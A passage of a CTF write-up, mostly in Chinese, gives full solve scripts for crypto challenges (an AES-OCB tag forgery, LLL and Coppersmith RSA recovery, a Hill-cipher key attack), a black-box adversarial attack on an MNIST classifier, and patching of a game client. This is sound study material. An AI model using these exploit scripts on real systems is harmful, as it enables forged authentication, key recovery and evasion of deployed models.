mat[i,i+1] = 1 mat = mat.LLL() print(mat) ok = False for i in range(n): if mat[i,0] != 0: continue bs = mat[i,1:].list() if min(bs) < 0 or max(bs) > 1: continue ok = True break if not ok: return print(bs) b = 0 for i in range(known_bnum): b |= int(bs[i+1]) << i idx = (b+1) + base_idx - known_bits print(idx, get_value(idx), flag_val) exit(0) base_idx = 101 base_val = get_value(base_idx) flag_val = get_value("flag") print("flag_val", flag_val) #flag_val = get_value(1234) levels = [None] * 1024 known_bits = 0 known_bnum = 0 while True: next_idx = base_idx + (1 << known_bnum) - known_bits next_diff = get_diff(next_idx) next_idx2 = next_idx + (1 << (known_bnum+1)) next_diff2 = get_diff(next_idx2) #print("next", next_idx-1, next_diff) #print("next2", next_idx2-1, next_diff2) bit = 0 if next_diff == next_diff2 else 1 if bit == 0: levels[known_bnum] = next_diff else: levels[known_bnum] = get_diff(next_idx + (1<<known_bnum)) print(1<<known_bnum, levels[known_bnum]) known_bits |= bit << known_bnum known_bnum += 1 #print(known_bnum, bin(known_bits)) try_solve() ``` ### baby_ocb: ``` L1near已经疲倦了AK比赛的生活了,他想趁此机会学习一下AES.OCB,这是他最新实现的一个加密系统,你来帮他看看有什么问题吧 L1near is tired of the life of the AK competition. He wants to take this opportunity to learn about AES.OCB. This is his latest encryption system. Come and help him see if there is any problem. Attachment: 链接:https://pan.baidu.com/s/1t530VYK9z76hKmmaTg8nTA 提取码:GAME https://drive.google.com/file/d/1uvBF1H5bZqjQTX5VP8dDgqqiX801bS_p/view?usp=sharing challenge address:nc 47.104.243.99 10001 ``` https://github.com/kravietz/pyOCB/blob/master/ocb/__init__.py 只是把 associate_data(header)给限制了 header只在算tag的时候用到 ![](https://i.imgur.com/HluOpyK.png) 如果能找到某个字符串 s,使得 pmac("from admin") xor pmac(s) 可计算 就可以改变 flag 的 tag ,tag = tag xor (pmac("from admin") xor pmac(s)) pmac好像是他自己设计的? https://github.com/kravietz/pyOCB/blob/master/ocb/__init__.py#L177 pmac 对 header 的 padding 有问题,我们可以仿照他的方法自己做一个已经 pad 好的 header ```python= # Accumulate the final block offset = self._times2(offset) # check if full block H_m = header[((m - 1) * blocksize):] assert len(H_m) <= blocksize if len(H_m) == blocksize: # complete last block # this is only possible if m is 1 offset = self._times3(offset) checksum = self._xor_block(checksum, H_m) else: # incomplete last block # pad with separator binary 1 # then pad with zeros until full block H_m.append(int('10000000', 2)) while len(H_m) < blocksize: H_m.append(0) assert len(H_m) == blocksize checksum = self._xor_block(checksum, H_m) offset = self._times3(offset) offset = self._times3(offset) # Compute PMAC result final_xor = self._xor_block(offset, checksum) auth = self.cipher.encrypt(final_xor) return auth ``` ```python= associate_data = b'from admin' + bytes([0b10000000, 0, 0, 0, 0, 0]) ``` 但是经过自己的 pad 之后,offset 会少乘 3 如果能求出 AES.encrypt(0) 就能求 offset 了 同一个 nonce 不能 encrypt 两次 构造明文来得到一个enc(nonce)然后再用这个求enc(0)? 能拿到aes.encrypt(0)了 通过拿到的aes.encrypt(0)来计算pmac然后将结果篡改掉,再交给他的decrypt的功能来解密。 ```python= from netcat import * from itertools import product from hashlib import sha256 from base64 import b64encode, b64decode import string import math import os def brute(l, t): res = product(string.ascii_letters+string.digits, repeat=4) for _ in res: tmp = "".join(_).encode() if sha256(tmp + l).hexdigest() == t: return tmp def times2(input_data,blocksize = 16): assert len(input_data) == blocksize output = bytearray(blocksize) carry = input_data[0] >> 7 for i in range(len(input_data) - 1): output[i] = ((input_data[i] << 1) | (input_data[i + 1] >> 7)) % 256 output[-1] = ((input_data[-1] << 1) ^ (carry * 0x87)) % 256 assert len(output) == blocksize return output def times3(input_data): assert len(input_data) == 16 output = times2(input_data) output = xor_block(output, input_data) assert len(output) == 16 return output def back_times2(output_data,blocksize = 16): assert len(output_data) == blocksize input_data = bytearray(blocksize) carry = output_data[-1] & 1 for i in range(len(output_data) - 1,0,-1): input_data[i] = (output_data[i] >> 1) | ((output_data[i-1] % 2) << 7) input_data[0] = (carry << 7) | (output_data[0] >> 1) if(carry): input_data[-1] = ((output_data[-1] ^ (carry * 0x87)) >> 1) | ((output_data[-2] % 2) << 7) assert len(input_data) == blocksize return input_data def xor_block(input1, input2): assert len(input1) == len(input2) output = bytearray() for i in range(len(input1)): output.append(input1[i] ^ input2[i]) return output def encrypt(msg): r.recv_until(b"[-]") r.sendline(b"1") nonce = os.urandom(16) r.recv_until(b"[-]") r.sendline(b64encode(nonce)) m1 = bytearray(b"\x00" * 15 + b"\x80") m2 = bytearray(b"\x00" * 16) r.recv_until(b"[-]") r.sendline(b64encode(m1 + m2)) r.recv_until(b"[+] ciphertext: ") cipher = r.recv_until(b"\n").strip() r.recv_until(b"[+] tag: ") tag = r.recv_until(b"\n").strip() r.recv_until(b"[-]") r.sendline(b"2") r.recv_until(b'[+] Please input your nonce\n') r.sendline(b64encode(nonce)) r.recv_until(b"[+] Please input your ciphertext\n") m0 = bytearray(b"\x00" * 15 + b"\x80") m1 = bytearray(b"\x00" * 16) c0 = b64decode(cipher)[:16] r.sendline(b64encode(xor_block(c0, m0))) r.recv_until(b"[+] Please input your tag\n") c1 = b64decode(cipher)[16:] r.sendline(b64encode(c1)) r.recv_until(b"[+] Please input your associate data\n") r.sendline(b"") r.recv_until(b"[+] plaintext: ") tmp = r.recv_until(b"\n").decode() enc = xor_block(bytearray(b64decode(tmp)), m0) L = back_times2(enc) LL = enc LLL = xor_block(LL, c0) msg = bytearray(msg) r.recv_until(b"[-]") r.sendline(b"1") r.recv_until(b"[-]") r.sendline(b64encode(xor_block(LL, m0))) r.recv_until(b"[-]") r.sendline(b64encode(xor_block(msg, times2(LLL)) + m1)) r.recv_until(b"[+] ciphertext: ") tmp = r.recv_until(b"\n").strip() enc = bytearray(b64decode(tmp)[:16]) r.recv_until(b"\n") return xor_block(enc, times2(LLL)) def pmac(header, blocksize=16): assert len(header) m = int(max(1, math.ceil(len(header) / float(blocksize)))) offset = encrypt(bytearray([0] * blocksize)) print(offset.hex()) offset = times3(offset) offset = times3(offset) checksum = bytearray(blocksize) for i in range(m - 1): offset = times2(offset) H_i = header[(i * blocksize):(i * blocksize) + blocksize] assert len(H_i) == blocksize xoffset = xor_block(H_i, offset) encrypted = encrypt(xoffset) checksum = xor_block(checksum, encrypted) offset = times2(offset) H_m = header[((m - 1) * blocksize):] assert len(H_m) <= blocksize if len(H_m) == blocksize: offset = times3(offset) checksum = xor_block(checksum, H_m) else: H_m.append(int('10000000', 2)) while len(H_m) < blocksize: H_m.append(0) assert len(H_m) == blocksize checksum = xor_block(checksum, H_m) offset = times3(offset) offset = times3(offset) final_xor = xor_block(offset, checksum) auth = encrypt(final_xor) return auth def getflag(mac1, mac2): r.recv_until(b"[-]") r.sendline(b"3") r.recv_until(b"[+] ciphertext: ") cipher = r.recv_until(b"\n").strip() r.recv_until(b"[+] tag: ") tag = b64decode(r.recv_until(b"\n").strip()) tag = xor_block(tag, mac1) tag = xor_block(tag, mac2) r.recv_until(b"[-]") r.sendline(b"2") r.recv_until(b'[+] Please input your nonce\n') nonce = b"\x00" * 16 r.sendline(b64encode(nonce)) r.recv_until(b"[+] Please input your ciphertext\n") r.sendline(cipher) r.recv_until(b"[+] Please input your tag\n") r.sendline(b64encode(tag)) r.recv_until(b"[+] Please input your associate data\n") r.sendline(b64encode(b"from baby")) print(r.recv_until(b"[+] plaintext: ")) flag = r.recv_until(b"\n").strip() print(b64decode(flag)) r = remote("47.104.243.99", 10001) r.recv_until(b"sha256(XXXX+") l = r.recv(16) r.recv(5) t = r.recv_until(b"\n").strip().decode() prefix = brute(l, t) print(prefix) r.sendline(prefix) mac1 = pmac(bytearray(b"from admin")) mac2 = pmac(bytearray(b"from baby")) getflag(mac1, mac2) #WMCTF{TOo0o00o_fr4g1l3_AES.OCB_4nd_iT_is_3aSy_to_aTtaCk!} ``` ### Easylsb: ``` 著名黑客L1near日穿了或或币,他在准备给自己发无限空投的时候却遇到了一些问题,于是他找到了你并请求你的协助。 Big foot-washee L1near hacked huohuo coin, while some problems happened when he was ready to airdrop himself infinitely. As a result, he found you and requested your assistance. 链接:https://pan.baidu.com/s/1mu2lru-pY-XzasEbjlDlBg 提取码:GAME https://drive.google.com/file/d/1T_hYI6mB2v42vUmPhoeSkFbYv8fF5jEq/view?usp=sharing challenge address: nc 47.104.243.99 9999 ``` ```python= def get_prime(a): suffix = getPrime(368) return next_prime(a ** 2 + suffix + 1) def generate_pubkey(key): p, q = get_prime(getPrime(512)), get_prime(key) n = p * q return n ``` 这样生成的 n 满足: sqrt(n) % key 很小 题目给了6个这样的n,我们要找出一个 key 让 n 模完都比较小 大概是 LLL https://martinralbrecht.wordpress.com/2020/03/21/the-approximate-gcd-problem/ ```python= from sage.all import * from pwn import * context.log_level = "debug" def proof(): pass r = process(["python", "task.py"]) proof() r.recvuntil("choice:") r.sendline("3") r.recvuntil("n =") n = int(r.recvline()) r.recvuntil("e =") e = int(r.recvline()) r.recvuntil("c =") c = int(r.recvline()) ns = [n] for i in range(4): r.recvuntil("choice:") r.sendline("1") r.recvuntil("gift:") ni = int(r.recvline()) ns.append(ni) ns = [isqrt(x) for x in ns] m = Matrix(ZZ, [ [2**368, ns[1], ns[2], ns[3], ns[4]], [0, ns[0], 0, 0, 0], [0, 0, ns[0], 0, 0], [0, 0, 0, ns[0], 0], [0, 0, 0, 0, ns[0]], ]) m = m.LLL() t = abs(m[0][0]) // (2**368) a = ns[0] // t b = t print("a=",a) print("b=",b) ``` 可以求a了,还需要分解n `n = (a*a + u + 1 + 2*x) * (b*b + v + 1 + 2*y)` x和y可以枚举,u和v咋整 coppersmith?a知道了其实高位比特应该是知道了的(好像很有道理 这里的算a的数据是当时手动交互得到的 ```python= n = 155355958776321856756191115711996786751791064171944488704738884099444787065223751532008955774797409295748949812576275357795960710929307253870487483740449104835851323994618458592068478292611611766917343942818669510415888958399570954022203696405759506675381962490516522611114823328334294034581313974654659465131099694225135402222394640022265752841914782020889821395750042909849885924782473337435883131982000534338520590669616965603366282580485969128316398438820286835871109611108939674696376168129205956411561325533109339026649294015841790768381535828263369489669118952634972487832895555021002590161278328308780534878187 e = 65537 c = 146172591928251302658207164455627028708251219377521538950053168092262999116630605553275832124569961640165300368589363970364448729751117399191725172334377489183654671026689469379066256815073420832754494249077369690691291312050139196690964293799489574765941623335949005105844679079073904979061556465194588036996306783811071861925524084872534407670795490178642125692153210340580626483973229845530102202597872061051744393268698132399497059230383487499594582195247770850192601884669707023931630791450769854174634672827728077132696400797782039297308367963870800194196926942385318972479077347316410193921101894042130930207739 ns = [n] t = 246396223603712724371588865123476303493933839636174891823459493459108842349731899426412308563277201472929498972740511911112641792015567117854047188859717536015237436511822888180201185974734191929478310744666740868898533116240072012423906820855262189222631557233644582607842479696513120420076548834229344800311873246981951276376726776846373963428458489523238126584813557419519744349864816791170847065644541970292603372927353417690872378788675104830994940001749523672136811311215962575657380879067318932143136671377574023522176685332902322446142228355780394989311038900659096009338526108366384857154509111280629187155939 ns.append(t) t = 176298769730773706949687597003377740804974071353824981010010174234614619756529550295301477832319149834584757598065588535463538540366880336546905594583463848709949786695859920373835038609181210186188008775942941425250423964779106190346158072878531831678828820105489478942935970994356322981464424314152164983407044152752002426201698852210635768019179919206126475292448235228666098483743060797575372140964971360311888388189819262748941945321039100426836739899429979083937704889012311331033541856506612318244340482275115855489308651048091359026862162073310962406142928471794444836014618309156320495721591708719833999194387 ns.append(t) t = 108447077635830346621932803303603215937618762004324463876937193797999615943634049764246764587854269725039673959953414870377179371797989400812696143536128368139163533459591883668521272882287269609681053975410620972704097398985977739729465320572118984293637532328516239440290618731879561039900490277782044358943663754719598261653765755667538540209615132593377754074223716890683535754929226569175967655912232313519269812353504253012068092901669714713256038886129095102419366848382414633782220136964886369418078223015449731565407334658419156759448479395153783234570412679973352474402389623257603247000721358494233951095343 ns.append(t) t = 218486933475905070014298819903400187469186654833804351436893091765973646697157429808850650757885740932937947662057672316809480046227951921076018984972480031426110898197826639130838236529123454588444280004213402369951119466805741858967550358141959592726948697227354204174109357311618252449153317892283374855575545157275170198191408299893035488842687966641156937713009686208898983674427432394830011998256877030912190195354202534032631048000224749048718480474751938682799721165625350500169500224386852276188166218998147085557156434439238564886366190319325836730778079594176737217188393693167031430868058337027715215508833 ns.append(t) ns = [isqrt(x) for x in ns] m = Matrix(ZZ, [ [2**368, ns[1], ns[2], ns[3], ns[4]], [0, ns[0], 0, 0, 0], [0, 0, ns[0], 0, 0], [0, 0, 0, ns[0], 0], [0, 0, 0, 0, ns[0]], ]) m = m.LLL() t = abs(m[0][0]) // (2^368) a = ns[0] // t b = t ``` 有了a之后,因为他get_prime比较特殊,因此其实是可以知道素数的高位比特的,使用coppersmith来恢复出p,q,拿到password ```python= pbar = a**2 PR.<x> = PolynomialRing(Zmod(n)) f = x + pbar x0 = f.small_roots(X=2^440, beta=0.4)[0] p = int(pbar + x0) q = int(n // p) d = inverse_mod(e, (p-1)*(q-1)) from Crypto.Util.number import * password = long_to_bytes(pow(c,d,n)) print(password) #Cou1d_I_get_Th3_passw03d_then_captu7e_the_fla9? ``` 最后发现后面的e=4096,而模数为一个素数p,因此`gcd(e, p-1)!=1`,因此这里偷了一个懒,通过不断交互找到一组`gcd(e, p-1)=2`的一组数据,正常解密后得到`flag**2`(由于模数是比较大的,`flag**2<p`),再直接sqrt即可。 ```python= from itertools import product import string from hashlib import sha256 from netcat import * from math import gcd from Crypto.Util.number import inverse, long_to_bytes from gmpy2 import iroot def brute(l, t): res = product(string.ascii_letters+string.digits, repeat=4) for _ in res: tmp = "".join(_).encode() if sha256(tmp + l).hexdigest() == t: return tmp r = remote("47.104.243.99", 9999) r.recv_until(b"sha256(XXXX+") l = r.recv(16) r.recv(5) t = r.recv_until(b"\n").strip().decode() prefix = brute(l, t) print(prefix) r.sendline(prefix) password = b"Cou1d_I_get_Th3_passw03d_then_captu7e_the_fla9?" for i in range(10): r.recv_until(b"Your choice:\n") r.sendline(b"2") print(r.recv_until(b"\n")) r.sendline(password) n = int(r.recv_until(b"\n").decode().strip().replace("n = ", "")) e = int(r.recv_until(b"\n").decode().strip().replace("e = ", "")) c = int(r.recv_until(b"\n").decode().strip().replace("c = ", "")) g = gcd(n-1, e) print(g) if g == 2: d = inverse(e, n-1) flag = pow(c, d, n) print(long_to_bytes(iroot(flag, 2)[0])) #WMCTF{4df7cedb-dfe9-4240-a9a1-d929541c40a7} ``` ### ezl1near: ``` 著名大黑客L1near想要学习密码学,因为他最擅长linear algebra了,所以他很快地学会了希尔密码,但是他又不是那么的擅长linear algebra,所以他发现他不知道怎么生成密钥,你能帮帮他吗。什么?你会在密钥里动手脚?L1near不在乎 Famous hacker L1near wants to learn cryptography.He is realy good at linear algebra so he learned hill cipher quickly.But he is not so good at linear algebra that he doesn't know how to generate the key.Can you help him? What? You will hide a backdoor in the key? L1near doesn't care about it 链接: https://pan.baidu.com/s/1IhqFAzbdRu60Doxa5Nc-2w 提取码:GAME https://drive.google.com/file/d/128sHz-Fh7F74gST374LZal0CEKExqKm-/view?usp=sharing nc 47.104.243.99 31923 ``` 利用`secret[0]==1`可以获取 f0 每次让 key*(2**24) 矩阵的行就会左移一位 构造矩阵反解一下 ```python= from sage.all import * from pwn import * import ast from hashlib import sha256 import random import string context.log_level = "debug" def proof(): global r r.recvuntil("sha256") line = r.recvline().decode().strip() pstr = line[line.find('+')+1:line.find(')')] digest = line[line.find("==")+2:].strip().strip("'") while True: proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(4)]) if sha256((proof + pstr).encode()).hexdigest() == digest: break r.recvuntil("Give") r.recvline() r.sendline(proof) #r = process(["python", "test.py"]) r = remote("47.104.243.99", 31923) proof() n = int(r.recvline()) e = int(r.recvline()) r.recvuntil("chances") r.recvline() R = Zmod(2**24) A = Matrix(R, 15, 40) B = Matrix(R, 1, 40) for chance in range(2): cf0 = int(r.recvline()) for i in range(15): x = 2 ** (24 * (20 + i)) x += 2**480 + 1 c = pow(x, e, n) * cf0 % n r.recvuntil(":") r.sendline(str(c)) r.recvuntil("cipher:") enc = r.recvline().strip().decode() enc = ast.literal_eval(enc) f0 = enc[-20:] mat = Matrix(R, 15, 20) for i in range(15): for j in range(20-i): mat[i,j] = f0[i+j] A[:,chance*20:chance*20+20] = mat B[:,chance*20:chance*20+20] = [enc[:20]] #print(A) #print(B) S = A.solve_left(B) r.recvuntil("secret?") s = [1] + S.list() r.sendline(" ".join(map(str, s))) print(r.recvall()) ``` ## Misc: ### Foolish Black Ai Entrance: ``` 这是一个很诡异的远程分类器。 首先它会给你一个手写数字图片,随后你在有限的时间内,有若干次机会调用远程模型对图片预测。 当你有足够信心的时候,去获取flag吧。 This is a very strange remote classifier. First, it will give you a handwritten digital picture, and then you have several opportunities to call the remote model to predict the picture within a limited time. When you have enough confidence, get the flag. challenge address: http://118.190.157.196:8888/ http://47.104.64.74:8888/ ``` /read: ```python= # !/usr/bin/python3.6 import numpy as np import os import pickle import time from flask import Flask, request, render_template, session, url_for, redirect from tensorflow.keras.models import load_model from utils import load_mnist from base64 import b64decode, b64encode model = load_model('model.h5') # you know nothing about model! (x_train, y_train), (x_test, y_test), min, max = load_mnist() # assert min == 0.0 # assert max == 1.0 # assert x_train.shape[0] == (28, 28, 1) # assert y_train.shape[0] == 10 # assert x_train.dtype == np.float32 MAX_REMAIN_REQUESTS = 256 MAX_RECOMPUTE_TIME = 300 # seconds MAX_EVAL_NUMBER = 30 L2_THRESHOLD = 3.0 # LINF_THRESHOLD = 0.20 # 0.3 * 255 = ? REDIRECT_TO_START = """ <script> setTimeout(function () { location.href = '/start'; }, 3000); </script> """ app = Flask(__name__) app.config['SECRET_KEY'] = os.urandom(24) def get_norm(data): l0 = len(np.where(np.abs(data) > 0.0)[0]) / data.shape[0] l1 = np.mean(np.linalg.norm(data.reshape(data.shape[0], -1), ord=1, axis=1)) l2 = np.mean(np.linalg.norm(data.reshape(data.shape[0], -1), ord=2, axis=1)) linf = np.mean(np.linalg.norm(data.reshape(data.shape[0], -1), ord=np.Inf, axis=1)) return l0, l1, l2, linf def get_l_norm(x_src: np.ndarray, x_input: np.ndarray): """ :param x_src: shape [NUM ; -1 ; -1 ; -1 ] :param x_input: shape [NUM ; -1 ; -1 ; -1 ] PRINT IMGS AND DIFF :return: L0,L2,L_INF """ assert x_src.shape == x_input.shape and x_src.shape.__len__() == 4 # 计算该变量 deta = x_src - x_input return get_norm(deta) def get_data(fig_id): """ :param fig_id: x_train's first index :return: """ x = x_train[fig_id, :, :, :].reshape(-1, 28, 28, 1) buffer = x.tobytes() return b64encode(buffer) def load_data(bb64_buffer, FIG_NUMBER=1): """ :param bb64_buffer: user input buffer :param FIG_NUMBER: group of reshape data :return: """ try: x = np.frombuffer(b64decode(bb64_buffer), dtype=np.float32) x = x.reshape(FIG_NUMBER, 28, 28, 1) return x except Exception as e: print(e) print("No Hack ! BAD BUFFER") return False @app.route('/', methods=('GET',)) def index(): return redirect('/read') @app.route('/read', methods=('GET',)) def read(): return open('app.py', encoding='utf8').read() @app.route('/start', methods=('GET',)) def start(): """ Give one fig :return: """ current_timestamp = int(time.time()) session['start'] = True session['timestamp'] = current_timestamp session['remain_requests'] = MAX_REMAIN_REQUESTS image_data = get_data(fig_id=current_timestamp * 13 % x_train.shape[0]) session['image_data'] = image_data return image_data @app.route('/predict', methods=('POST',)) def predict(): """ predict fig and return value :return: """ if 'start' not in session.keys() or session['start'] == False: return redirect(url_for('start')) session['remain_requests'] -= 1 if session['remain_requests'] <= 0: return "requests all used " + REDIRECT_TO_START buffer = request.form.get('b64_image') fig_number = 1 if request.form.get("fig_number") is None else int(request.form.get("fig_number")) if fig_number > MAX_EVAL_NUMBER: return f"server only allow {MAX_EVAL_NUMBER} img prediction one time" try: img = load_data(buffer, FIG_NUMBER=fig_number) return model.predict(img).tolist().__str__() except Exception as e: return "Bad buffer , nohack " @app.route("/get_flag", methods=("POST",)) def get_flag(): """ :return: """ if 'start' not in session.keys() or session['start'] == False: return "start first" + REDIRECT_TO_START if int(time.time()) - session.get('timestamp') >= MAX_RECOMPUTE_TIME: return "time out " + REDIRECT_TO_START buffer = request.form.get('b64_image') raw_buffer = session.get('image_data') img = load_data(raw_buffer) img_adv = load_data(buffer) adv = img_adv - img if (model.predict(img).argmax(axis=1) != model.predict(img_adv).argmax(axis=1)).all(): l0, l1, l2, linf = get_norm(adv) if l2 <= L2_THRESHOLD and linf <= LINF_THRESHOLD: return "Nice , here is your flag" + open("./flag").read() return "more effort ,L2 or LINF not passed" return "please do more test and retry" if __name__ == '__main__': app.run('0.0.0.0', port=8888, debug=False) ``` 流程: > / ——> /read(source code) ——> /start ——> /predict ——> /get_flag /predict可以交互 Mnist 黑盒构造对抗样本 采用FGSM攻击 ```python= import numpy as np import requests import base64 from PIL import Image import ast import itertools def get_norm(data): l0 = len(np.where(np.abs(data) > 0.0)[0]) / data.shape[0] l1 = np.mean(np.linalg.norm(data.reshape(data.shape[0], -1), ord=1, axis=1)) l2 = np.mean(np.linalg.norm(data.reshape(data.shape[0], -1), ord=2, axis=1)) linf = np.mean(np.linalg.norm(data.reshape(data.shape[0], -1), ord=np.Inf, axis=1)) return l0, l1, l2, linf def decode_img(text): data = base64.b64decode(text) img = np.frombuffer(data, dtype=np.float32) img = img.reshape(28, 28) return img def save_img(data, fname): data = (data * 256).astype(np.uint8) im = Image.fromarray(data, mode='L') im.save(fname) def predict(imgs): global session, url num = len(imgs) imgs = imgs.reshape(num, 28, 28, 1) data = { "b64_image": base64.b64encode(imgs.tobytes()), "fig_number": str(num) } r = session.post(url + "/predict", data=data) preds = ast.literal_eval(r.text) return np.asarray(preds, dtype=np.float32) def start(): global session, url r = session.get(url + "/start") start_img = decode_img(r.text) save_img(start_img, "start.png") return start_img def predict_one(img): imgs = np.stack([img]) preds = predict(imgs) return preds[0] def get_flag(img_adv): global session, url imgs = np.stack([img_adv]).reshape(1, 28, 28, 1) data = { "b64_image": base64.b64encode(imgs.tobytes()) } r = session.post(url + "/get_flag", data=data) return r.text url = "http://118.190.157.196:8888" session = requests.session() MAX_EVAL_NUMBER = 30 MAX_REMAIN_REQUESTS = 256 L2_THRESHOLD = 2.0 # LINF_THRESHOLD = 0.10 # 0.3 * 255 = ? TEST_STEP_LEN = 0.1 start_img = start() start_pred = predict_one(start_img) top1 = start_pred.argsort()[-1] top2 = start_pred.argsort()[-2] print("top1", top1, start_pred[top1]) print("top2", top2, start_pred[top2]) all_pos = list(itertools.product(range(28), range(28))) all_dir = [-1.0 if start_img[x,y] > TEST_STEP_LEN else 1.0 for x, y in all_pos] all_dlt = [] for i in range(0, len(all_pos), MAX_EVAL_NUMBER): cur_pos = all_pos[i:i+MAX_EVAL_NUMBER] cur_dir = all_dir[i:i+MAX_EVAL_NUMBER] imgs = [] for j in range(len(cur_pos)): x, y = cur_pos[j] d = cur_dir[j] img = start_img.copy() img[x,y] += TEST_STEP_LEN * d imgs.append(img) imgs = np.stack(imgs) preds = predict(imgs) ptop1 = preds[:,top1] dtop1 = (ptop1 - start_pred[top1]) / TEST_STEP_LEN all_dlt += dtop1.tolist() num = int((L2_THRESHOLD / LINF_THRESHOLD) ** 2) nums = sorted(range(len(all_pos)), key=lambda i: -abs(all_dlt[i]))[:num] img = start_img.copy() for i in nums: x, y = all_pos[i] d = all_dir[i] sign = -1.0 if all_dlt[i] < 0 else 1.0 img[x,y] += LINF_THRESHOLD * d * -sign print("diff", get_norm(img - start_img)) save_img(img, "attack.png") pred = predict_one(img) print(pred[top1], pred) print(get_flag(img)) ``` ### 你画我猜: ``` L1near专属小说集《重生之我在W&M当黑客》即将印刷,出版社需要一名插画师协助画插图,这是L1near准备的面试题。请按提示画图,你有20次画图机会,被识别成功15次得到flag This is the interview question prepared by l1near. Please draw according to the prompt. You have 20 drawing opportunities, and you are recognized successfully 15 times to get the flag challenge address: http://182.92.232.152:4000/ http://182.92.232.152:4001/ ``` 直接画就完事了 ![](https://i.imgur.com/BHmkFnC.png) ### 我画你猜: ``` 来看一看大家的简笔图把,请在规定时间内正确判断60次。 Let's take a look at your simple pen chart. Please make a correct judgment 60 times within the specified time. http://182.92.232.152:5000/ attachment: dataset:https://console.cloud.google.com/storage/quickdraw_dataset/full/raw https://drive.google.com/file/d/1yXKKjEfZAz6te_eNvo56zmq6FWxtyNF1/view?usp=sharing 链接: https://pan.baidu.com/s/1DacZr_smdWf_Iqg7AY3JIg 提取码: 52p6 ``` 直接猜就完事了 ![](https://i.imgur.com/mTCBDKV.png) ### LOGO: ``` 著名黑客L1near想在bash上看一个图片,啪一下很快啊,图片就跑到bash上了,你能找出大黑客L1near在这上面藏的东西吗?(PS:尽量使用bash观看&太大的话可以使用ctrl+-或ctrl+滚动下滑轮增加终端分辨率) The famous hacker L1near wanted to see a picture on bash. It was a quick snap, and the picture went to bash. Can you find out what the big hacker L1near hides on it? (PS: try to use bash to watch & if it is too big, you can use ctrl+- or ctrl+ scroll down wheel to increase the terminal resolution) challenge address: nc 118.190.157.196 10001 ``` 首先通过 pwntools 逐字节接收数据,发现每个像素点都是按照 **\\x1b[48;2;R;G;Bm**的格式进行传输的,那么将所有数据转换为像素点绘制图像: ```python= # get the whole picture from pwn import * p = remote("118.190.157.196", 10001) f = open("img", "wb") i = 0 while True: try: f.write(p.recvline()) i += 1 except: print("line:", i) break # trun into picture from PIL import Image x = 256 y = 512 im = Image.new("RGB", (x, y)) f = open("img", "rb") imglist = f.readlines() for i in range(len(imglist)): plist = imglist[i].split(b" ") pixels = [] # print(plist) for p in plist: tmplist = p.decode().split(";") if len(tmplist) == 5: rgb = [] rgb.append(tmplist[2]) rgb.append(tmplist[3]) rgb.append(tmplist[4][:-1]) pixels.append(list(map(int, rgb))) for j in range(len(pixels)): im.putpixel((j, i),(pixels[j][0], pixels[j][1], pixels[j][2])) im.save("logo.png") ``` logo.png: ![](https://i.imgur.com/Nz9JXMv.png) 并且由于发现像素点均为成对出现的,因此只取当中的一个 ```python= # get the whole picture from pwn import * p = remote("118.190.157.196", 10001) f = open("img", "wb") i = 0 while True: try: f.write(p.recvline()) i += 1 except: print("line:", i) break # trun into picture from PIL import Image x = 256 y = 256 im = Image.new("RGB", (x, y)) f = open("img", "rb") imglist = f.readlines() maxlen = 0 for i in range(len(imglist)): plist = imglist[i].split(b" ") pixels = [] # print(plist) for p in plist: tmplist = p.decode().split(";") if len(tmplist) == 5: rgb = [] rgb.append(tmplist[2]) rgb.append(tmplist[3]) rgb.append(tmplist[4][:-1]) pixels.append(list(map(int, rgb))) print(pixels) for j in range(len(pixels)//2): im.putpixel((j, i),(pixels[2*j][0], pixels[2*j][1], pixels[2*j][2])) im.save("logo1.png") # check if the picture is the same import hashlib f = open("logo1.png","rb") content = f.read() hashres = hashlib.md5(content).hexdigest() print(hashres) ``` logo1.png: ![](https://i.imgur.com/dIuzSc3.png) zsteg 得到flag: ![](https://i.imgur.com/KYHuqKz.png) ### Plants VS Zombies Version1: ``` Crazy Dave: CTF?No!Just play it. Crazy Dave:Wawarou attachment: 链接:https://pan.baidu.com/s/1xfU3L2pTYlYOByFo_oM6YQ 提取码:GAME https://drive.google.com/file/d/1JQDNxcR15K19JKy-bEuvR-OQ3FpzSqpm/view?usp=sharing challenge address: 120.27.19.64 12000/12001 ./game 120.27.19.64 12000/12001 ``` 给了一个客户端,用来连接服务器进行游戏,ida逆一下 可以看到费用写死在客户端 ![](https://i.imgur.com/elG8kuL.png) 那直接全部改成0costs, 然后随便种植物 ![](https://i.imgur.com/31fqAUJ.png) ![](https://i.imgur.com/vCQGxEF.png) 这里是僵尸的血量,修改成1然后直接秒杀,然后基本就能挂机了,但是由于wm僵尸出现概率较低,这样挂机的话15分钟只能得到140左右的point,遂尝试减少等待时间,或者增加得分僵尸 ![](https://i.imgur.com/9ybsa5L.png) start_routine中的sleep耗费了额外的时间,patch成0,使得僵尸能光速出现 ```c= __int64 __fastcall sub_74BB(int *a1) { if ( *a1 > 2 && *a1 <= 5 ) sub_1937(4u); sub_7A9B(a1); return sub_73CC(a1); } ``` 上面的if决定了僵尸是否给point。目前只有id为3、4和5的僵尸能有point。我们应该使条件始终为真,以便所有僵尸都能有point。 ![](https://i.imgur.com/CIbE1TF.png) ![](https://i.imgur.com/YLBxILO.png) 现在能光速得分了,15s能得到150分左右,再去写一个脚本自动挂机 ```python= from pwn import * while True: io = process(["./wm2", "120.27.19.64", "12000"]) io.sendlineafter("Command> ", 'L') io.sendlineafter("Username (Max 16 Byte): ", "crazyman") io.sendlineafter("Password (Max 16 Byte): ", "crazyman") io.sendlineafter("Token (32 Byte): ", "icq068c1feafa81c6be04f6ad4c765fa") io.sendlineafter("Command> ", 'P') point = io.recvline().split(' ')[-1] success(point) io.sendlineafter("Command> ", 'S') io.recvuntil("Crazy Dave: WaWaRou!\n") io.recvuntil('\x1b') for _ in range(6): sleep(0.1) io.send("\x1bOB") sleep(0.1) io.send('\n') for _ in range(6): sleep(0.1) io.send('\n') sleep(0.1) io.send('\n') sleep(0.1) io.send("\x1bOB") io.recvuntil("Game Exit...", timeout=15) # io.interactive() ``` ![](https://i.imgur.com/lSStJ7t.png) 达到要求get flag ![](https://i.imgur.com/TugRgZ2.png) ### Flag Thief: ``` 2021年8月28日 01:00 UTC,著名Flag大盗L1near被缉拿归案。警方已经将其作案用的电脑制作成镜像,他们试图找到L1near藏匿在其中的Flag但都以失败告终。警方知道你是取证专业人士,现在需要你的帮助! On August 28, 2021, at 01:00 UTC, The famous Flag thief L1near was arrested. Police have made a mirror image of the computer he used to commit the crime, and they have tried unsuccessfully to find the Flag that L1near was hiding inside. The police know you're a forensics professional, now they need your help! Attachment: Baidu Drive(Code:m8yx) Or Google 